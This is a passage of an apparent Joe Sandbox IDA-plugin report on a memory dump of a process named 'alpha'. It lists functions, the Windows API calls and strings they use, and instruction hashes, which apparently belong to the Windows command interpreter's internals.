                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 2343214347-0
                                                                                                                                                                                                                                  • Opcode ID: ccae83ae7f4c9b94cea278896c0ab4e3b8fcefbde4e1d44caa1cbbe60016defa
                                                                                                                                                                                                                                  • Instruction ID: a45132f1e22d580c664d5e0ce979f95ce75ee45bbe8aba484b6539d8fe27d461
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ccae83ae7f4c9b94cea278896c0ab4e3b8fcefbde4e1d44caa1cbbe60016defa
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A7A19074A003249FDB24DFA9E8545BEBBB6EF55308B18402DE942D7352EB709C81CBB1
                                                                                                                                                                                                                                  Function 00D16B20 Relevance: 7.8, APIs: 5, Instructions: 272COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000), ref: 00D1DCE1
                                                                                                                                                                                                                                    • Part of subcall function 00D1DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00D1ACD8,00000001,?,00000000,00D18C23,-00000105,00D3C9B0,00000240,00D21E92,00000000,00000000,00D2ACE0,00000000,00000000), ref: 00D1DCE8
                                                                                                                                                                                                                                  • _pipe.MSVCRT ref: 00D16B4F
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D16BF7
                                                                                                                                                                                                                                  • DuplicateHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(00000000), ref: 00D16C05
                                                                                                                                                                                                                                    • Part of subcall function 00D1E950: memset.MSVCRT ref: 00D1E9A0
                                                                                                                                                                                                                                    • Part of subcall function 00D1E950: wcschr.MSVCRT ref: 00D1E9FC
                                                                                                                                                                                                                                    • Part of subcall function 00D1E950: wcschr.MSVCRT ref: 00D1EA14
                                                                                                                                                                                                                                    • Part of subcall function 00D1E950: _wcsicmp.MSVCRT ref: 00D1EA80
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?), ref: 00D16D8F
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A30,00000001), ref: 00D2A6D8
                                                                                                                                                                                                                                    • Part of subcall function 00D1A1A8: _dup.MSVCRT ref: 00D1A1AF
                                                                                                                                                                                                                                    • Part of subcall function 00D1A1D6: _dup2.MSVCRT ref: 00D1A1EA
                                                                                                                                                                                                                                    • Part of subcall function 00D1A16C: _close.MSVCRT ref: 00D1A19B
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Heapwcschr$AllocDuplicateHandleProcess_close_dup_dup2_get_osfhandle_pipe_wcsicmplongjmpmemset
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1441200171-0
                                                                                                                                                                                                                                  • Opcode ID: 0aaa545feb4ee0f57beee02695268b4f1ddd8d71a57dcf58617a68b85e9d1586
                                                                                                                                                                                                                                  • Instruction ID: 79e484bea42f0ce98c924eb01108a1f97a2e8a9b4184cd70de5b9f46466750be
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0aaa545feb4ee0f57beee02695268b4f1ddd8d71a57dcf58617a68b85e9d1586
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C0919235600710AFDB24DF28F886AAA77A2EB49325F18452EE45AD7391DF30DC81CB71
                                                                                                                                                                                                                                  Function 00D26B40 Relevance: 6.0, APIs: 4, Instructions: 13COMMONLIBRARYCODE
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00D26C76,00D11000), ref: 00D26B47
                                                                                                                                                                                                                                  • UnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00D26C76,?,00D26C76,00D11000), ref: 00D26B50
                                                                                                                                                                                                                                  • GetCurrentProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(C0000409,?,00D26C76,00D11000), ref: 00D26B5B
                                                                                                                                                                                                                                  • TerminateProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000000,?,00D26C76,00D11000), ref: 00D26B62
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3231755760-0
                                                                                                                                                                                                                                  • Opcode ID: c6d8538a73bc85b995c70b3cdfa0937deab21cc0483fc76b36fbb3ad42ab1af5
                                                                                                                                                                                                                                  • Instruction ID: 2a31c35f70142dd4ca5f1e04004118d242e847ea050d48842d4d0ec840b0099a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c6d8538a73bc85b995c70b3cdfa0937deab21cc0483fc76b36fbb3ad42ab1af5
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 39D0C972040325ABCA002BE9EC0DA493F28EB44253F004100FB0DC6261CA3644018B7B
                                                                                                                                                                                                                                  Function 00D32E37 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • IsDebuggerPresent.API-MS-WIN-CORE-DEBUG-L1-1-0(?,?,00D32FDD), ref: 00D32E5D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: DebuggerPresent
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1347740429-0
                                                                                                                                                                                                                                  • Opcode ID: a0d00913d754556f71c1fc505a30c4efe41c5adbb2dcf879417f9d452739c344
                                                                                                                                                                                                                                  • Instruction ID: ea9037f6de2eb443f6ab308afc627b391a2c86814ebc28d67fc6bba862b1fe1c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: a0d00913d754556f71c1fc505a30c4efe41c5adbb2dcf879417f9d452739c344
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 94E08C30E513319BD7211BAC9CAB3BB378C0B11B02F180865B865FB291C754DC0487B0
                                                                                                                                                                                                                                  Function 00D26EC0 Relevance: 1.5, APIs: 1, Instructions: 4COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • SetUnhandledExceptionFilter.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(Function_00016E70), ref: 00D26EC5
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ExceptionFilterUnhandled
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3192549508-0
                                                                                                                                                                                                                                  • Opcode ID: 1a59a5c72cc96232928dc7c3c71b39ae1066bbc9a57485debb6aab6a77468f00
                                                                                                                                                                                                                                  • Instruction ID: ea6a11ab98c5637c697bb518b39dfdf332dcd9e431be71ba5b788e60edd4dc1c
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1a59a5c72cc96232928dc7c3c71b39ae1066bbc9a57485debb6aab6a77468f00
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2C9002B42A13618A96015779AC0940576B15A586177428550F441C9198DB6480085536
                                                                                                                                                                                                                                  Function 00D19458 Relevance: 42.3, APIs: 15, Strings: 9, Instructions: 328threadprocessstringCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,00000001,00000000,00000020,00D3C9D0,00000108,00D22107,?,00000000,00000000,00000000), ref: 00D194AA
                                                                                                                                                                                                                                  • UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,00000000,00060001,?,00000004,00000000,00000000,?,00000000,00000000,00000000), ref: 00D194D9
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D194F1
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D1954A
                                                                                                                                                                                                                                  • GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(00000044), ref: 00D1955D
                                                                                                                                                                                                                                    • Part of subcall function 00D21D90: _wcsnicmp.MSVCRT ref: 00D21E14
                                                                                                                                                                                                                                  • lstrcmpW.API-MS-WIN-CORE-STRING-OBSOLETE-L1-1-0(00000000,\XCOPY.EXE), ref: 00D195B8
                                                                                                                                                                                                                                  • CreateProcessW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00000000,00000001,00080000,00000000,?,?,?), ref: 00D19602
                                                                                                                                                                                                                                  • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 00D19624
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00000000,00000000), ref: 00D2BDF1
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,00000000,00000000,00000000), ref: 00D2BE0D
                                                                                                                                                                                                                                  • DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,?,00000000,00000000,00000000), ref: 00D2BE26
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: AttributeProcThread$ErrorLastListmemset$CloseCreateDeleteHandleInfoInitializeProcessStartupUpdate_wcsnicmplstrcmp
                                                                                                                                                                                                                                  • String ID: $%01C$%08X$=ExitCode$=ExitCodeAscii$COPYCMD$D$H$\XCOPY.EXE
                                                                                                                                                                                                                                  • API String ID: 1449572041-3461277227
                                                                                                                                                                                                                                  • Opcode ID: 85ed9c27798a4db023da5d3cd98ce82ca877fbbf00e384d29c766605ca4e4a12
                                                                                                                                                                                                                                  • Instruction ID: b84f9a9b15d837804c05704fdf06ba63ca9d344f6c3210402a129c89b283ca75
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 85ed9c27798a4db023da5d3cd98ce82ca877fbbf00e384d29c766605ca4e4a12
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A1C19375A00325AFDB249F54EC65BEAB7B9EF55304F0440AAF946D6280EB7089C4CF72
                                                                                                                                                                                                                                  Function 00D14710 Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 435fileCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D14781
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D147E4
                                                                                                                                                                                                                                  • GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001), ref: 00D147EC
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D147FD
                                                                                                                                                                                                                                  • SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 00D14805
                                                                                                                                                                                                                                    • Part of subcall function 00D1A16C: _close.MSVCRT ref: 00D1A19B
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D14832
                                                                                                                                                                                                                                  • ReadFile.API-MS-WIN-CORE-FILE-L1-1-0(00000000,-00000001), ref: 00D1483A
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?), ref: 00D14871
                                                                                                                                                                                                                                  • SearchPathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,?,00000000,?,?,00000000,?,-00000001), ref: 00D28120
                                                                                                                                                                                                                                  • memmove.MSVCRT(?,?,?), ref: 00D28191
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5,?,00000000,?,00000000), ref: 00D28328
                                                                                                                                                                                                                                  • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D2832F
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: _get_osfhandle.MSVCRT ref: 00D1DDA3
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D2C050), ref: 00D1DDAD
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: File_get_osfhandle$memset$ConsoleHandlePathPointerReadSearchSizeTypeWrite_closememmove
                                                                                                                                                                                                                                  • String ID: DPATH
                                                                                                                                                                                                                                  • API String ID: 2545859659-2010427443
                                                                                                                                                                                                                                  • Opcode ID: 62b07079d8ee03affafea55cbcb61e2549721447847937f100ff64bbadd7808b
                                                                                                                                                                                                                                  • Instruction ID: 9242b400870a1105a3d1194fd81a2a689f6c2bf1d44b881465f297c6fa80d94e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 62b07079d8ee03affafea55cbcb61e2549721447847937f100ff64bbadd7808b
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1CF1AB71509361AFD724CF24E844B6BB7E4EB98718F140A2EF889D7290DB70D845DBB2
                                                                                                                                                                                                                                  Function 00D1E0B0 Relevance: 35.3, APIs: 14, Strings: 6, Instructions: 308COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsicmp$iswspace
                                                                                                                                                                                                                                  • String ID: =,;$FOR$FOR/?$IF/?$REM$REM/?
                                                                                                                                                                                                                                  • API String ID: 759518647-875390083
                                                                                                                                                                                                                                  • Opcode ID: 5a818b08d7261dbdbefc9512bbd7c098e5a7f6c40e35b11aed81b7006157d342
                                                                                                                                                                                                                                  • Instruction ID: a961b3ec012e6c14f43ef9a58345669bc84242a75cb688312982f5ba6fc67b88
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5a818b08d7261dbdbefc9512bbd7c098e5a7f6c40e35b11aed81b7006157d342
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 09A1E334244322BADB386B65BC1A7BA2364EF9071DF18042EF942866D0DEA5D8C5C777
                                                                                                                                                                                                                                  Function 00D1CF10 Relevance: 33.7, APIs: 15, Strings: 4, Instructions: 446COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: iswdigit$iswspacewcschr$_setjmp3
                                                                                                                                                                                                                                  • String ID: ()|&=,;"$=,;$@$Ungetting: '%s'
                                                                                                                                                                                                                                  • API String ID: 684130364-3872429996
                                                                                                                                                                                                                                  • Opcode ID: 6e3a67c3179632b78452daeff5c2b191452e9398d87be4ea632ba1e4200ebc84
                                                                                                                                                                                                                                  • Instruction ID: cf0479f4c45fefe60eb1b748dc5ba97dce7d2ccdac7570bf299fa8e42174e8ff
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 6e3a67c3179632b78452daeff5c2b191452e9398d87be4ea632ba1e4200ebc84
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: A9E1DF71A00325BBDB205F68B8853FA77A2AF16345F284126EC46D7251EF34CDC18B76
                                                                                                                                                                                                                                  Function 00D1EC2E Relevance: 33.4, APIs: 12, Strings: 7, Instructions: 139COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,00D3E590,00002000,?,00D58BF0,00000000,?,?,00D18F0D), ref: 00D1EC51
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1EC77
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1EC8D
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1ECA3
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1ECB9
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1ECCF
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1ECE5
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1ECF7
                                                                                                                                                                                                                                  • _wcsicmp.MSVCRT ref: 00D1ED0D
                                                                                                                                                                                                                                    • Part of subcall function 00D19310: GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,00D3E590,?,00002000), ref: 00D19342
                                                                                                                                                                                                                                    • Part of subcall function 00D19310: SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00D19356
                                                                                                                                                                                                                                    • Part of subcall function 00D19310: FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0(?,?), ref: 00D1936A
                                                                                                                                                                                                                                    • Part of subcall function 00D19310: FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00D1937E
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsicmp$Time$File$System$EnvironmentLocalVariable
                                                                                                                                                                                                                                  • String ID: CMDCMDLINE$CMDEXTVERSION$DATE$ERRORLEVEL$HIGHESTNUMANODENUMBER$RANDOM$TIME
                                                                                                                                                                                                                                  • API String ID: 2447294730-2301591722
                                                                                                                                                                                                                                  • Opcode ID: ae50a0226bd256dd3de767d989ee8e1b7f6c508d18a68fdc721155a1046c76f4
                                                                                                                                                                                                                                  • Instruction ID: 5169b816b6dee4c64ef3ed07a67847d08430529f836beb741868f5ac337e4a1d
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ae50a0226bd256dd3de767d989ee8e1b7f6c508d18a68fdc721155a1046c76f4
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: DC31D432308712BFA7085775BC1AAFB279EEF46326B184519FD06D01D0EF65D89182BB
                                                                                                                                                                                                                                  Function 00D39C2E Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 250COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _wcsupr.MSVCRT ref: 00D39CC8
                                                                                                                                                                                                                                  • LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(00000000,00000000,?), ref: 00D39D22
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F5), ref: 00D39D2A
                                                                                                                                                                                                                                  • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00D39D3A
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00D39D50
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 00D39D58
                                                                                                                                                                                                                                  • GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00D39D68
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?), ref: 00D39D7C
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6), ref: 00D39DDB
                                                                                                                                                                                                                                  • FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 00D39DE2
                                                                                                                                                                                                                                  • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(000000F6,00000001,?), ref: 00D39DF2
                                                                                                                                                                                                                                  • towupper.MSVCRT ref: 00D39E13
                                                                                                                                                                                                                                    • Part of subcall function 00D1A16C: _close.MSVCRT ref: 00D1A19B
                                                                                                                                                                                                                                  • wcschr.MSVCRT ref: 00D39E6A
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 00D39E9B
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?), ref: 00D39EA9
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: _get_osfhandle.MSVCRT ref: 00D1DDA3
                                                                                                                                                                                                                                    • Part of subcall function 00D1DD98: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D2C050), ref: 00D1DDAD
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
